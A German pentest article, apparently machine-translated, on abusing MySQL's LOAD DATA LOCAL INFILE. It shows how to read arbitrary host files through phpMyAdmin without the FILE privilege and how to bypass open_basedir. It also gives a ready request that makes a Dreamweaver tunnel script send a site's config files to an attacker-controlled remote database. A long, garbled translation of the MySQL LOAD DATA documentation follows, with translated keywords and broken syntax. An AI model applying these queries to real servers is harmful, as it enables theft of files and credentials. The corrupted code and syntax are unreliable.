Ich beschreibe eine ziemlich häufige Situation. Während des Pentests wurde Zugriff auf phpMyAdmin auf dem Remote-Host erhalten, ein Zugriff auf die Dateien war jedoch nicht möglich. Schuld daran ist das berüchtigte Flag FILE_PRIV=no in den MySQL-Daemon-Einstellungen. Viele Menschen geben in dieser Situation auf und glauben, dass die Dateien auf dem Host auf diese Weise nicht mehr gelesen werden können. Aber das ist nicht immer der Fall.
WARNUNG
Alle Informationen dienen ausschließlich Informationszwecken. Weder die Herausgeber noch der Autor sind für mögliche Schäden verantwortlich, die durch die Materialien dieses Artikels verursacht werden.
Auftakt
Wenn es um die Interaktion des MySQL-DBMS mit dem Dateisystem geht, erinnern sie sich normalerweise an Folgendes:
- die Funktion LOAD_FILE, mit der Sie Dateien auf dem Server lesen können;
- das SELECT ... INTO OUTFILE-Konstrukt, mit dem neue Dateien erstellt werden können.
Wenn Sie also Zugriff auf phpMyAdmin oder einen anderen Client auf einem Remote-Computer haben, ist die Wahrscheinlichkeit hoch, dass Sie darauf zugreifen können Dateisystem. Allerdings nur, wenn in den Daemon-Einstellungen das Flag FILE_PRIV=yes gesetzt ist, was nicht immer der Fall ist. In diesem Fall müssen wir uns an einen anderen Operator erinnern, der viel weniger bekannt ist, aber gleichzeitig über recht leistungsstarke Funktionen verfügt. Ich spreche vom LOAD DATA INFILE-Operator, dessen Funktionen in diesem Artikel besprochen werden.
Interaktion zwischen PHP und MySQL
PHP ist die gebräuchlichste Sprache zum Erstellen von Webanwendungen, daher lohnt es sich, einen genaueren Blick auf die Interaktion mit der Datenbank zu werfen.
In PHP4 waren MySQL-Client-Bibliotheken standardmäßig enthalten und in der PHP-Distribution enthalten, sodass Sie während der Installation die Verwendung von MySQL nur durch Angabe der Option deaktivieren konnten
Ohne-MySQL.
PHP5 wird ohne Client-Bibliothek geliefert. Auf *nix-Systemen wird PHP5 normalerweise mit der bereits auf dem Server installierten libmysqlclient-Bibliothek kompiliert, indem einfach die Option gesetzt wird
With-mysql=/usr
während der Montage. Bis Version 5.3 wird jedoch die Low-Level-MySQL-Clientbibliothek (libmysql) zur Interaktion mit dem MySQL-Server verwendet, eine Schnittstelle, die nicht für die Kommunikation mit PHP-Anwendungen optimiert ist.
Für Versionen von PHP 5.3 und höher wurde der MySQL Native Driver (mysqlnd) entwickelt, und in der kürzlich veröffentlichten Version von PHP 5.4 wird dieser Treiber standardmäßig verwendet. Obwohl der integrierte MySQL-Treiber als Erweiterung von PHP geschrieben ist, ist es wichtig zu verstehen, dass er dem PHP-Programmierer keine neue API bereitstellt. API zur Datenbank MySQL-Daten Für den Programmierer stellen sie MySQL-, MySQLi- und PDO_MYSQL-Erweiterungen bereit. Diese Erweiterungen können den integrierten MySQL-Treiber verwenden, um mit dem MySQL-Daemon zu kommunizieren.
Die Verwendung des integrierten MySQL-Treibers bietet einige Vorteile gegenüber der MySQL-Clientbibliothek: Sie müssen beispielsweise MySQL nicht installieren, um PHP zu erstellen oder Datenbankskripte zu verwenden. Mehr genaue Information Informationen zum MySQL Native Driver und seinen Unterschieden zu libmysql finden Sie in der Dokumentation.
Die Erweiterungen MySQL, mysqli und PDO_MYSQL können individuell für die Verwendung von libmysql oder mysqlnd konfiguriert werden. Um beispielsweise die MySQL-Erweiterung für die Verwendung der MySQL-Clientbibliothek und die MySQL-Erweiterung für die Verwendung mit dem MySQL Native Driver zu konfigurieren, müssen Sie die folgenden Optionen angeben:
`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`
LOAD DATA-Syntax
Die LOAD DATA-Anweisung liest, wie es in der Dokumentation heißt, Zeilen aus einer Datei und lädt sie mit sehr hoher Geschwindigkeit in eine Tabelle. Es kann mit verwendet werden Stichwort LOCAL (verfügbar in MySQL 3.22.6 und höher), das angibt, woher die Daten geladen werden. Fehlt das Wort LOCAL, dann lädt der Server mit seinem die angegebene Datei in die Tabelle lokale Maschine, und nicht vom Computer des Kunden. Das heißt, die Datei wird nicht vom MySQL-Client, sondern vom MySQL-Server gelesen. Für diesen Vorgang ist jedoch erneut das FILE-Privileg erforderlich (Flag FILE_PRIV=yes). Das Ausführen der Anweisung kann in diesem Fall mit der Verwendung der Funktion LOAD_FILE verglichen werden – mit dem einzigen Unterschied, dass die Daten in die Tabelle geladen und nicht ausgegeben werden. Daher ist die Verwendung von LOAD DATA INFILE zum Lesen von Dateien nur dann sinnvoll, wenn die Funktion LOAD_FILE nicht verfügbar ist, also auf sehr alten Versionen des MySQL-Servers.
Wenn der Operator jedoch in dieser Form verwendet wird: LOAD DATA LOCAL INFILE, also mit dem Wort LOCAL, dann wird die Datei vom Client-Programm (auf dem Client-Computer) gelesen und an den Server gesendet, auf dem sich die Datenbank befindet. In diesem Fall ist das FILE-Privileg natürlich nicht erforderlich, um auf Dateien zuzugreifen (da alles auf dem Computer des Clients geschieht).
MySQL/mysqli/PDO_MySQL-Erweiterungen und die LOAD DATA LOCAL-Anweisung
In der MySQL-Erweiterung wird die Fähigkeit zur Verwendung von LOCAL durch die PHP_INI_SYSTEM-Direktive mysql.allow_local_infile gesteuert. Standardmäßig hat diese Direktive den Wert 1 und daher ist der von uns benötigte Operator normalerweise verfügbar. Außerdem können Sie mit der Funktion mysql_connect die Möglichkeit aktivieren, LOAD DATA LOCAL zu verwenden, wenn das fünfte Argument die Konstante 128 enthält.
Wenn die PDO_MySQL-Erweiterung zum Herstellen einer Verbindung zu einer Datenbank verwendet wird, können wir auch die LOCAL-Unterstützung mithilfe der Konstante PDO::MYSQL_ATTR_LOCAL_INFILE (Ganzzahl) aktivieren
$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));
Die größten Möglichkeiten für die Arbeit mit dem LOAD DATA-Operator bietet jedoch die mysqli-Erweiterung. Diese Erweiterung stellt auch die PHP_INI_SYSTEM-Direktive mysqli.allow_local_infile bereit, die die Verwendung von LOCAL regelt.
Wenn die Verbindung über mysqli_real_connect hergestellt wird, können wir mit mysqli_options die LOKALE Unterstützung sowohl aktivieren als auch deaktivieren. Darüber hinaus ist in dieser Erweiterung die Funktion mysqli_set_local_infile_handler verfügbar, mit der Sie eine Rückruffunktion registrieren können, um den Inhalt von Dateien zu verarbeiten, die von der LOAD DATA LOCAL INFILE-Anweisung gelesen werden.
Dateien lesen
Der aufmerksame Leser hat wahrscheinlich schon vermutet, dass wir, wenn wir ein Konto in phpMyAdmin haben, beliebige Dateien lesen können, ohne das FILE-Privileg zu haben, und sogar die Einschränkungen von open_basedir umgehen können. Schließlich befinden sich sehr oft sowohl der Client (in diesem Fall phpMyAdmin) als auch der MySQL-Daemon auf derselben Maschine. Trotz der Einschränkungen der Sicherheitsrichtlinie des MySQL-Servers können wir die Tatsache ausnutzen, dass diese Richtlinie nicht für den Client gilt, und dennoch Dateien vom System lesen, indem wir sie in die Datenbank verschieben.
Der Algorithmus ist einfach. Es reicht aus, die folgenden SQL-Abfragen auszuführen:
- Wir erstellen eine Tabelle, in der wir den Inhalt der Dateien aufzeichnen: CREATE TABLE temp(content text);
- Wir senden den Inhalt der Datei an die erstellte Tabelle: LOAD DATA LOCAL INFILE „/etc/hosts“ INTO TABLE temp FIELDS TERMINATED BY „eof“ ESCAPED BY „“ LINES TERMINATED BY „eof“;
Voila. Der Inhalt der Datei /etc/hosts befindet sich jetzt in der temporären Tabelle. Müssen Sie Binärdateien lesen? Kein Problem. Wenn wir im ersten Schritt eine Tabelle wie diese erstellen:
CREATE TABLE „bin“ („bin“ BLOB NOT NULL) ENGINE = MYISAM ;
dann ist es möglich, Binärdateien hineinzuladen. Zwar werden am Ende der Dateien zusätzliche Bits hinzugefügt, diese können jedoch in jedem Hex-Editor entfernt werden. Auf diese Weise können Sie durch IonCube/Zend/TrueCrypt/NuSphere geschützte Skripte vom Server herunterladen und entschlüsseln.
Ein weiteres Beispiel dafür, wie Sie LOAD DATA LOCAL INFILE verwenden können, besteht darin, den Pfad zur Apache-Konfiguration herauszufinden. Dies geschieht wie folgt:
- Zuerst ermitteln wir den Pfad zur Binärdatei; dazu lesen wir /proc/self/cmdline mit der oben beschriebenen Methode.
- Und dann lesen wir direkt die Binärdatei, wo wir nach HTTPD_ROOT/SERVER_CONFIG_FILE suchen.
Es ist klar, dass in dieser Situation die phpMyAdmin-Skripte die Rolle eines Clients spielen, der eine Verbindung zur Datenbank herstellt. Und anstelle von phpMyAdmin können Sie jedes andere Webinterface verwenden, um mit MySQL zu arbeiten.
Beispielsweise können Sie Skripte zum Sichern und Wiederherstellen der Datenbank verwenden. Im Jahr 2007 veröffentlichte ein französischer Hacker unter dem Spitznamen „Acidroot“ einen Exploit, der auf dieser Bemerkung basierte und es ermöglichte, Dateien aus dem phpBB-Admin-Panel zu lesen<= 2.0.22.
Der Tunnel ist praktisch. Der Tunnel ist unsicher
Bei der Installation komplexer Webanwendungen ist häufig ein direkter Zugriff auf die Datenbank erforderlich, beispielsweise für die Erstkonfiguration und Anpassung von Skripten. Daher empfiehlt es sich in manchen Fällen, ein einfaches Skript auf dem Server zu installieren – den sogenannten MySQL-Tunnel, der es Ihnen ermöglicht, Datenbankabfragen mit einem komfortablen Client statt mit dem umständlichen phpMyAdmin durchzuführen.
Es gibt einige Tunnel für die Arbeit mit einer Datenbank, aber nicht alle sind sehr verbreitet. Eines der bekanntesten ist vielleicht Macromedia Dream Weaver Server Scripts. Sie können den Quellcode dieses Skripts anzeigen.
Der Hauptunterschied zwischen MySQL Tunnel und phpMyAdmin besteht darin, dass nicht nur der Benutzername und das Passwort für die Datenbank eingegeben werden müssen, sondern auch der Host, zu dem eine Verbindung hergestellt werden soll. Gleichzeitig bleiben Tunnel oft aktiv, nur für den Fall, dass man nie weiß, was sonst noch angepasst werden muss. Es scheint, als ob Sie sie nur verwenden können, wenn Sie ein Konto in der Datenbank haben – warum also Angst haben? Kurz gesagt scheint der Tunnel keine besondere Sicherheitsbedrohung für den Webserver darzustellen. Doch in Wirklichkeit ist nicht alles so gut, wie es auf den ersten Blick scheint.
Betrachten Sie die folgende Situation. Lassen Sie Server A eine Website site.com mit einem eingerichteten Tunnel http://site.com/_mmServerScripts/MMHTTPDB.php haben. Nehmen wir an, dass es auf Server A möglich ist, LOAD DATA LOCAL zu verwenden (wie oben besprochen, ist dies beispielsweise mit Standardeinstellungen möglich). In diesem Fall können wir einen entfernten MySQL-Server nehmen, auf dessen Datenbanken von überall aus zugegriffen werden kann und der auch die Verwendung von LOCAL ermöglicht, und uns über einen Tunnel mit diesem Server verbinden. Daten für die Verbindung zu einem Remote-MySQL-Server:
DB-Host: xx.xx.xx.xxx DB-Name: name_remote_db DB-Benutzer: our_user DB-Pass: our_pass
In dieser Situation übernimmt Server A die Rolle eines Clients, und daher können wir Dateien von seinem Host an die entfernte Datenbank senden oder, mit anderen Worten, Dateien lesen. Mit der folgenden einfachen Abfrage:
Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php“ INTO TABLE tmp_tbl FIELDS TERMINATED BY „__eof__“ APED BY „“ ZEILEN, DIE MIT „__eof__“ BEENDET WERDEN
Tatsächlich ist diese Schwachstelle gefährlicher als das normale Lesen von Dateien: Schließlich können Sie damit die Konfigurationsdateien von Skripten lesen, die auf Server A installiert sind. Über denselben Tunnel können Sie bereits direkten Zugriff auf die Datenbank erhalten, die diese Skripte verwaltet. Die oben beschriebene Technik zur Verwendung von Muskeltunneln kann leicht verallgemeinert und bei der Ausnutzung von Unserialize-Schwachstellen angewendet werden.
Kundenserver
Um die Fähigkeiten von LOAD DATA besser zu verstehen, muss man bedenken, dass das MySQL-DBMS eine traditionelle Client-Server-Architektur verwendet. Bei der Arbeit mit MySQL arbeiten wir eigentlich mit zwei Programmen:
- Ein Datenbankserverprogramm, das sich auf dem Computer befindet, auf dem die Datenbank gespeichert ist. Der mysqld-Daemon lauscht über das Netzwerk auf Client-Anfragen, greift auf den Inhalt der Datenbank zu und stellt die von den Clients angeforderten Informationen bereit. Wenn mysqld mit der Option --local-infile=0 gestartet wird, funktioniert LOCAL nicht;
- Das Client-Programm stellt eine Verbindung zum Server her und übermittelt Anfragen an den Server. Die MySQL DBMS-Distribution umfasst mehrere Client-Programme: den MySQL-Konsolen-Client (der am häufigsten verwendete) sowie mysqldump, mysqladmin, mysqlshow, mysqlimport und so weiter. Und bei Bedarf können Sie sogar Ihr eigenes Client-Programm basierend auf der Standard-Client-Bibliothek libmysql erstellen, die mit dem MySQL-DBMS geliefert wird.
Wenn bei Verwendung des Standard-MySQL-Clients die Verwendung der LOAD DATA LOCAL-Anweisung nicht möglich ist, sollten Sie den Schalter --local-infile verwenden:
Mysql --local-infile sampdb mysql> LOAD DATA LOCAL INFILE „member.txt“ INTO TABLE member;
Oder geben Sie die Option für den Client in der Datei /my.cnf an:
Local-infile=1
Es ist wichtig zu beachten, dass standardmäßig alle MySQL-Clients und -Bibliotheken mit der Option --enable-local-infile kompiliert werden, um die Kompatibilität mit MySQL 3.23.48 und älteren Versionen sicherzustellen, sodass LOAD DATA LOCAL normalerweise für Standard-Clients verfügbar ist. Befehle an den MySQL-Server werden jedoch hauptsächlich nicht von der Konsole, sondern von Skripten gesendet, daher verfügen Webentwicklungssprachen auch über Clients für die Arbeit mit der Datenbank, die sich in der Funktionalität vom Standard-MySQL-Client unterscheiden können.
Natürlich kann diese Funktion der LOAD DATA-Anweisung eine Bedrohung für die Systemsicherheit darstellen, und daher funktioniert die LOCAL-Option ab MySQL 3.23.49 und MySQL 4.0.2 (4.0.13 für Win) nur, wenn beide Clients vorhanden sind und der Server aktiviert es.
Open_basedir-Einschränkungen umgehen
Durch die häufige Verwendung von LOAD DATA können Sie die Einschränkungen von open_basedir umgehen. Dies kann nützlich sein, wenn wir beispielsweise Zugriff auf das Verzeichnis eines Benutzers beim Shared Hosting haben, aber Skripte aus dem Home-Verzeichnis eines anderen Benutzers lesen möchten. Dann installieren Sie dieses Skript
1)); $e=$pdo->exec("LOAD DATA LOCAL INFILE "./path/to/file" INTO TABLE test FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__""); $pdo = null; ?>
Abschluss
Interessant ist, dass die beschriebene Fähigkeit des LOAD DATA-Operators seit mindestens zehn Jahren bekannt ist. Eine Erwähnung davon findet sich beispielsweise im Ticket [#15408] (Safe Mode / MySQL Vuln 2002-02-06), und ähnliche Fragen tauchten dann immer wieder auf bugs.php.net auf [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. Darauf antworteten die Entwickler wörtlich wie folgt:
[email protected] Es ist kein Fehler, es ist ein Feature :)
Oder sie haben dem Ticket den Status „Keine Fehlerbehebung“ zugewiesen. Oder sie beschränkten sich auf Patches, die fast nichts lösten. Zu diesem Thema sind erneut Tickets aufgetaucht. Daher funktioniert die angegebene Methode zur Umgehung von open_basedir immer noch auf einer großen Anzahl von Servern. Mit der Einführung des neuen mysqlnd-Treibers scheint jedoch die Entscheidung getroffen worden zu sein, wesentliche Änderungen vorzunehmen: Bei Standardinstallationen wird dieser Operator nun überhaupt nicht mehr ausgeführt [#54158] [#55737]. Hoffen wir, dass die Entwickler in naher Zukunft in dieser Angelegenheit Ordnung schaffen.
LOAD DATA INFILE „file_name.txt“ INTO TABLE tbl_name [ ENCLOSED BY „“] ] [(col_name,...)]Der Befehl LOAD DATA INFILE liest Zeilen aus einer Textdatei und fügt sie mit sehr hoher Geschwindigkeit in eine Tabelle ein. Wenn das Schlüsselwort LOCAL angegeben ist, wird die Datei vom Client-Host gelesen. Wenn LOCAL nicht angegeben ist, muss sich die Datei auf dem Server befinden. (Die LOCAL-Option ist in MySQL-Version 3.22.6 und höher verfügbar.)
Liegen die zu lesenden Textdateien auf dem Server, sollten diese Dateien aus Sicherheitsgründen entweder im Datenbankverzeichnis liegen oder für alle Benutzer lesbar sein. Um den Befehl LOAD DATA INFILE für Serverdateien verwenden zu können, müssen Sie außerdem über FILE-Berechtigungen auf dem Serverhost verfügen. Siehe Abschnitt 4.2.7 Von MySQL gewährte Berechtigungen.
In MySQL 3.23.49 und MySQL 4.0.2 funktioniert der LOCAL-Befehl nicht, wenn der mysqld-Daemon mit --local-infile=0 gestartet wird oder wenn der Client nicht LOCAL-fähig ist. Siehe Abschnitt 4.2.4 Sicherheitsüberlegungen im Zusammenhang mit dem Befehl LOAD DATA LOCAL.
Wenn das Schlüsselwort LOW_PRIORITY angegeben ist, wird die Ausführung dieses LOAD DATA-Befehls verzögert, bis andere Clients das Lesen der Tabelle abgeschlossen haben.
Wenn Sie beim Arbeiten mit MyISAM-Tabellen das Schlüsselwort CONCURRENT angeben, können andere Threads Daten aus der Tabelle abrufen, während der Befehl LOAD DATA ausgeführt wird. Die Verwendung dieser Funktion hat natürlich einen leichten Einfluss auf die Leistung der LOAD DATA-Ausführung, selbst wenn kein anderer Thread gleichzeitig die Tabelle verwendet.
Bei Verwendung der LOCAL-Option kann die Ausführung etwas langsamer sein, als wenn dem Server der direkte Zugriff auf Dateien gestattet würde, da der Inhalt der Datei vom Client-Host auf den Server verschoben werden muss. Andererseits sind in diesem Fall keine FILE-Berechtigungen zum Laden lokaler Dateien erforderlich.
Bei Verwendung von MySQL-Versionen vor 3.23.24 kann der Befehl LOAD DATA INFILE nicht aus dem FIFO lesen. Wenn Sie aus dem FIFO lesen müssen (z. B. gunzip stdout), sollten Sie LOAD DATA LOCAL INFILE verwenden.
Sie können Datendateien auch mit dem Dienstprogramm mysqlimport laden. Dieses Dienstprogramm lädt Dateien herunter, indem es LOAD DATA INFILE-Befehle an den Server sendet. Die Option --local veranlasst mysqlimport, Datendateien vom Client-Host zu lesen. Sie können die Option --compress angeben, um eine bessere Leistung in langsamen Netzwerken zu erzielen, wenn sowohl der Client als auch der Server das Datenkomprimierungsprotokoll unterstützen.
In Fällen, in denen sich die Dateien auf dem Server befinden, verhält sich dieser nach folgenden Regeln:
- Wenn ein absoluter (vollständiger) Pfad zu einer Datei angegeben wird, verwendet der Server diesen Pfad ohne Änderungen.
- Wenn ein relativer Pfad zu einer Datei angegeben wird und dabei ein oder mehrere Startverzeichnisse angegeben werden, wird die Datei relativ zu den angegebenen Verzeichnissen im Datenverzeichnis (datadir) des Servers durchsucht.
- Wird ein Pfad zu einer Datei ohne Angabe der Startverzeichnisse angegeben, sucht der Server nach dieser Datei im Verzeichnis der verwendeten Datenbank.
Daraus folgt, dass eine als „./myfile.txt“ angegebene Datei aus dem Datenverzeichnis des Servers gelesen wird, während eine als „myfile.txt“ angegebene Datei aus dem verwendeten Datenbankverzeichnis gelesen wird. Der folgende Befehl LOAD DATA liest beispielsweise die Datei data.txt im Datenbankverzeichnis für db1, da db1 die aktuelle Datenbank ist, obwohl der Befehl explizit anweist, die Datei in die Datenbanktabelle db2 zu laden:
Mysql>USE db1; mysql> LOAD DATA INFILE „data.txt“ INTO TABLE db2.my_table;
Die Schlüsselwörter REPLACE und IGNORE steuern die Verarbeitung von Eingabedatensätzen, die Duplikate vorhandener Datensätze mit denselben eindeutigen Schlüsselwerten sind. Wenn Sie REPLACE angeben, ersetzen neue Zeilen vorhandene Zeilen mit demselben eindeutigen Schlüssel. Wenn Sie IGNORE angeben, werden Eingabezeilen übersprungen, die denselben eindeutigen Schlüssel wie die vorhandenen haben. Wenn keiner der Parameter angegeben ist und ein doppelter Schlüsselwert erkannt wird, wird ein Fehler ausgelöst und der Rest der Textdatei wird ignoriert.
Wenn Daten aus einer lokalen Datei mit dem Schlüsselwort LOCAL geladen werden, kann der Server die Datenübertragung während dieses Vorgangs nicht abbrechen, sodass die Standardausführung des Befehls dieselbe ist wie bei Angabe von IGNORE.
Bei Verwendung von LOAD DATA INFILE für leere MyISAM-Tabellen werden alle nicht eindeutigen Indizes in einem separaten Stapel erstellt (wie bei REPAIR). Dies beschleunigt LOAD DATA INFILE normalerweise erheblich, wenn eine große Anzahl von Indizes vorhanden ist.
Der Befehl LOAD DATA INFILE ist eine Ergänzung zu SELECT ... INTO OUTFILE. Siehe Abschnitt 6.4.1 Syntax der SELECT-Anweisung. Um Daten aus einer Datenbank in eine Datei zu schreiben, verwenden Sie SELECT ... INTO OUTFILE . Um Daten wieder in die Datenbank einzulesen, wird LOAD DATA INFILE verwendet. Die Syntax für FIELDS und LINES ist in beiden Befehlen gleich. Beide Teile sind optional, aber wenn beide angegeben sind, müssen FIELDS vor LINES stehen.
Wenn FIELDS angegeben ist, ist jeder seiner Unterausdrücke (TERMINATED BY, ENCLOSED BY und ESCAPED BY) ebenfalls optional, aber mindestens einer von ihnen muss angegeben werden.
Wenn die FIELDS-Anweisung nicht definiert ist, werden ihre Parameter standardmäßig auf die folgenden Werte gesetzt:
FELDER, DIE MIT „\t“ BEENDET WERDEN, EINGESCHLOSSEN DURCH „“, ESCAPED DURCH „\\“
Wenn die LINES-Anweisung nicht definiert ist, hat sie standardmäßig die folgende Struktur:
ZEILEN, DIE MIT „\n“ BEENDET WERDEN
Mit anderen Worten: Mit den Standardeinstellungen funktioniert der Befehl LOAD DATA INFILE beim Lesen von Eingabedaten wie folgt:
- Suchen Sie nach Zeilenenden als „\n“-Zeichen
- Teilen Sie Zeilen basierend auf Tabulatorzeichen in Felder auf.
- Erwarten Sie nicht, dass Felder in Anführungszeichen eingeschlossen werden.
- Interpretieren Sie Tabulator-, Zeilenumbruch- oder „\“-Zeichen, denen ein „\“ vorangestellt ist, als Literale, die Teil des Feldwerts sind.
Wenn umgekehrt die Standardeinstellungen zum Schreiben der Ausgabe wirksam sind, funktioniert der Befehl SELECT ... INTO OUTFILE wie folgt:
- Fügen Sie Tabulatorzeichen zwischen Feldern ein.
- Schließen Sie Felder nicht in Anführungszeichen ein. Verwenden Sie „\“-Zeichen, um Vorkommen von Tabulator-, Zeilenumbruch- oder „\“-Zeichen zu maskieren, die zwischen Feldwerten erscheinen.
- Fügen Sie am Ende jedes Eintrags neue Zeilen ein.
Beachten Sie, dass der Eintrag FIELDS ESCAPED BY „\“ zwei Backslashes für einen Wert erfordert, der als ein Backslash gelesen werden sollte.
Die Option IGNORE number LINES kann verwendet werden, um den Spaltennamen-Header am Anfang der Datei zu ignorieren:
Mysql> LOAD DATA INFILE „/tmp/file_name“ INTO TABLE test IGNORE 1 LINES;
Wenn Sie SELECT ... INTO OUTFILE in Verbindung mit LOAD DATA INFILE verwenden, um Daten aus einer Datenbank in eine Datei und dann von der Datei zurück in die Datenbank zu lesen, müssen die Feld- und Zefür beide Befehle übereinstimmen. Andernfalls kann LOAD DATA INFILE den Inhalt dieser Datei nicht richtig interpretieren. Angenommen, der Befehl SELECT ... INTO OUTFILE wird verwendet, um in eine Datei mit durch Kommas getrennten Feldern zu schreiben:
Mysql> SELECT * INTO OUTFILE „data.txt“ FIELDS TERMINATED BY "," FROM ...;
Mysql> LOAD DATA INFILE „data.txt“ INTO TABLE table2 FIELDS TERMINATED BY ",";
Mysql> LOAD DATA INFILE „data.txt“ INTO TABLE table2 FIELDS TERMINATED BY „\t“;
Ein ähnliches Ergebnis würde erzielt, wenn jede Eingabezeile als separates Feld interpretiert würde.
Der Befehl LOAD DATA INFILE kann auch zum Lesen von Dateien verwendet werden, die von externen Quellen empfangen wurden. Beispielsweise werden Felder in einer dBASE-Datenbankformatdatei durch Kommas getrennt und in doppelte Anführungszeichen gesetzt. Wenn die Zeilen in dieser Datei mit Zeilenumbrüchen enden, können Sie die Datei mit dem folgenden Befehl schreiben, der Einstellungsoptionen für den Umgang mit Feldern und Zeilen veranschaulicht:
Mysql> LOAD DATA INFILE „data.txt“ INTO TABLE tbl_name FIELDS TERMINATED BY "," ENCLOSED BY „““ LINES TERMINATED BY „\n“;
Jede der Optionen, die Felder und Zeichenfolgen verarbeiten, kann die leere Zeichenfolge („“) angeben. Wenn die Zeichenfolge nicht leer ist, müssen die Werte der Optionen FIELDS ENCLOSED BY und FIELDS ESCAPED BY ein Zeichen enthalten. Die Optionswerte FIELDS TERMINATED BY und LINES TERMINATED BY können mehr als ein Zeichen enthalten. Um beispielsweise Zeilen zu schreiben, die mit „Wagenrücklauf-Zeilenvorschub“-Paaren enden (wie in MS DOS- oder Windows-Textdateien), würden Sie den folgenden Ausdruck angeben: LINES TERMINATED BY „\r\n“ .
CREATE TABLE jokes (ein INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joke TEXT NOT NULL); LOAD DATA INFILE „/tmp/jokes.txt“ INTO TABLE jokes FIELDS TERMINATED BY „“; ZEILEN, DIE MIT „\n%%\n“ BEENDET WERDEN (Witz);
Die Option FIELDS ENCLOSED BY steuert Felder, die in angegebene Zeichen eingeschlossen sind. Wenn der Parameter OPTIONALLY weggelassen wird, werden in der Ausgabe (SELECT ... INTO OUTFILE) alle Felder in die in ENCLOSED BY angegebenen Zeichen eingeschlossen. Ein Beispiel für eine solche Ausgabe (unter Verwendung eines Kommas als Feldtrennzeichen) ist unten dargestellt:
„1“, „eine Zeichenfolge“, „100,20“ „2“, „eine Zeichenfolge, die ein Komma enthält“, „102,20“ „3“, „eine Zeichenfolge, die ein Anführungszeichen enthält“, „102,20“ „4“, eine Zeichenfolge, die ein \“, Anführungszeichen und Komma, „102,20“ enthält
Wenn der Parameter OPTIONALLY angegeben ist, werden nur Felder vom Typ CHAR und VARCHAR mit dem in ENCLOSED BY angegebenen Zeichen hervorgehoben:
1,"eine Zeichenfolge",100.20 2,"eine Zeichenfolge, die ein , Komma enthält",102.20 3,"eine Zeichenfolge, die ein Anführungszeichen \" enthält",102.20 4,"eine Zeichenfolge, die ein \", Anführungszeichen und Komma enthält",102.20
Bitte beachten Sie, dass das Erscheinen von ENCLOSED BY-Zeichen innerhalb eines Feldwerts maskiert wird, indem ihnen das Präfix von ESCAPED BY vorangestellt wird. Beachten Sie außerdem, dass bei leerem ESCAPED BY-Wert möglicherweise eine Ausgabe erstellt wird, die von der LOAD DATA INFILE-Anweisung nicht korrekt gelesen werden kann. Wenn es sich bei dem Escape-Zeichen beispielsweise um eine leere Zeichenfolge handelt, sieht die oben gezeigte Ausgabe wie unten dargestellt aus. Beachten Sie, dass das zweite Feld in der vierten Zeile ein Komma nach einem Anführungszeichen enthält, das (fälschlicherweise) dieses Feld abzugrenzen scheint:
1, „eine Zeichenfolge“, 100,20 2, „eine Zeichenfolge mit einem „, Komma“, 102,20 3, „eine Zeichenfolge mit einem „ Anführungszeichen“, 102,20 4, „eine Zeichenfolge mit einem „, Anführungszeichen und Komma“, 102,20
Bei der Eingabe wird das ENCLOSED BY-Zeichen, sofern vorhanden, an beiden Enden der Feldwerte entfernt. (Dies gilt unabhängig davon, ob der Parameter OPTIONALLY angegeben ist oder nicht; der Parameter OPTIONALLY wird bei der Arbeit mit Eingabedaten nicht berücksichtigt.) Wenn ein ENCLOSED BY-Zeichen angetroffen wird, dem ein ESCAPED BY-Zeichen vorangestellt ist, wird es als Teil von interpretiert der aktuelle Wert des Feldes. Darüber hinaus werden doppelte ENCLOSED BY-Zeichen, die in einem Feld vorkommen, als einzelne ENCLOSED BY-Zeichen interpretiert, wenn das Feld selbst mit diesem Zeichen beginnt. Wenn beispielsweise ENCLOSED BY „““ angegeben ist, werden Anführungszeichen wie folgt verarbeitet:
„Der „GROSSE“ Chef“ -> Der „GROSSE“ Chef Der „GROSSE“ Chef -> Der „GROSSE“ Chef Der „GROSSE“ Chef -> Der „GROSSE“ Chef
Die Option FIELDS ESCAPED BY steuert das Schreiben oder Lesen von Sonderzeichen. Wenn das Zeichen FIELDS ESCAPED BY nicht leer ist, wird es als Präfix für die folgenden Zeichen in der Ausgabe verwendet:
- FIELDS ESCAPED BY-Symbol
- Vom Symbol umschlossene Felder
- Erstes Zeichen der Werte FIELDS TERMINATED BY und LINES TERMINATED BY
- ASCII-Zeichen 0 (eigentlich wird ASCII „0“ nach dem Escape-Zeichen geschrieben, kein Byte mit einem Nullwert)
Wenn das FIELDS ESCAPED BY-Zeichen leer ist, werden keine Zeichen maskiert. Tatsächlich macht es keinen Sinn, ein leeres Escape-Zeichen anzugeben, insbesondere wenn die Feldwerte in den verarbeiteten Daten eines der Zeichen in der obigen Liste enthalten.
Wenn das Zeichen FIELDS ESCAPED BY nicht leer ist, werden bei Eingabedaten Vorkommen eines solchen Zeichens entfernt und das auf ein solches Vorkommen folgende Zeichen wird wörtlich als Teil des Feldwerts übernommen. Ausnahmen werden mit „0“ oder „N“ maskiert (z. B. \0 oder \N, wenn das Escape-Zeichen „\“) ist. Diese Sequenzen werden als ASCII 0 (Nullwertbyte) und NULL interpretiert. Siehe Regeln für die Behandlung von NULL-Werten unten .
Weitere Informationen zur Syntax des Escape-Zeichens „\“ finden Sie in Abschnitt 6.1.1 Literale: Darstellung von Zeichenfolgen und Zahlen.
In einigen Fällen interagieren Feld- und Zeilenverarbeitungsoptionen:
- Wenn LINES TERMINATED BY die leere Zeichenfolge ist und FIELDS TERMINATED BY nicht die leere Zeichenfolge ist, dann enden die Zeilen auch mit den Zeichen FIELDS TERMINATED BY .
